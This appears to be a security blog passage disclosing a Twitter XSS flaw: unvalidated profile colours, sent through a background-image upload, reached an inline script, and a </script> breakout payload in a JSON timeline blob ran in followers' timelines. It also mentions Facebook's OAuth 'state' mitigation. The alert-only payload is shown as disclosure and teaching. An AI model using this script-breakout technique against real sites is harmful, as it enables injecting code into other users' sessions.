• Notified major developers of the issue.
• Added a section detailing the issue and the use of the “state” parameter for mitigation to their authentication documentation.
• Began updating their SDKs to use the “state” parameter.

Beyond Facebook

While Facebook is the largest service provider using OAuth 2.0 this is not a Facebook specific issue. Any website that implements a third party service that uses OAuth 2.0 for authentication can be vulnerable to this attack. In addition to Facebook, members of the OAuth community were notified of this issue and discussion to add details of the issue to the OAuth 2.0 spec is ongoing.

I generally don’t blog about individual XSS issues, however, this particular one was made more interesting as it took advantage of a parsing quirk of browsers that I’ve seen increasingly be an issue as web applications become more “application” like with the help of javascript.

In 2009 the Mikeyy worm was able to inject javascript into user profiles by exploiting the lack of a validity check in the custom colors functionality and the lack of sanitation when displaying the custom colors on the profile. In response Twitter added sanitation and has since implemented a check on the validity of custom colors. An attempt to submit invalidly formatted colors results in an error being returned. In addition to setting custom colors a user can upload a custom background image. When the image is uploaded the user’s current colors are also sent. Twitter failed to extend their validity check to this functionality allowing the colors to be set to any arbitrary value. On both the old and new Twitter custom colors are sanitized when displayed on the profile, however, the profile is not the only place on the new Twitter where a user’s colors are used.

On the loading of the new Twitter a call to the javascript function twttr.API._requestCache.inject is made to display the user’s timeline. Passed to this function is the metadata of the most recent tweets made by the users that the user is following. The metadata of a tweet includes much data that is not displayed, including the profile colors of the user who made it. The colors were included unsanitized.

twttr.API._requestCache.inject("statuses/home_timeline",[{'contributor_details': true, 'include_entities': 1}],[{"retweeted":false,"truncated":false,"geo":null,"entities":{"hashtags":[],"user_mentions":[],"urls":[]},"place":null,"retweet_count":null,"source":"web","favorited":false,"contributors":null,"user":{"contributors_enabled":false,"profile_sidebar_fill_color":"DDEEF6","description":null,"geo_enabled":false,"time_zone":null,"following":true,"notifications":false,"profile_sidebar_border_color":"C0DEED","verified":false,"profile_image_url":"http://s.twimg.com/a/1285026911/images/default_profile_2_normal.png","follow_request_sent":false,"profile_use_background_image":true,"profile_background_color":"\"</script><script>alert('XSS')</script>","screen_name":"stephensclafani","profile_background_image_url":"http://a3.twimg.com/profile_background_images/151950017/h.png","followers_count":0,"profile_text_color":"333333","protected":false,"show_all_inline_media":false,"profile_background_tile":false,"friends_count":0,"url":null,"name":"Stephen Sclafani","listed_count":0,"statuses_count":1,"profile_link_color":"0084B4","id":1598801,"lang":"en","utc_offset":null,"favourites_count":0,"created_at":"Tue Mar 20 07:11:24 +0000 2007","location":null},"id":25168131043,"coordinates":null,"in_reply_to_screen_name":null,"in_reply_to_user_id":null,"in_reply_to_status_id":null,"text":"xss","created_at":"Tue Sep 2120:38:26 +0000 2010"}], 1);

One might expect the injected javascript not to be executed as it’s within a quoted javascript string and that the injected double quote is escaped with a backslash. However, due to a quirk in browser parsing this is not the case. When a browser parses a document and finds a <script> tag it looks for the following </script> tag and ends the block of javascript even if that </script> tag is within a quoted string. By including a </script> tag before the injected block of javascript, the block of javascript being injected into is ended prematurely. This breaks the quoted string allowing the injected block of javascript to be executed.

By combining these two issues it was possible for a user to inject javascript into the timelines’ of all of their followers. Twitter was notified of the two issues and has since deployed fixes for both.

For a second example of the quirk see Mike Bailey’s post on a bit.ly XSS.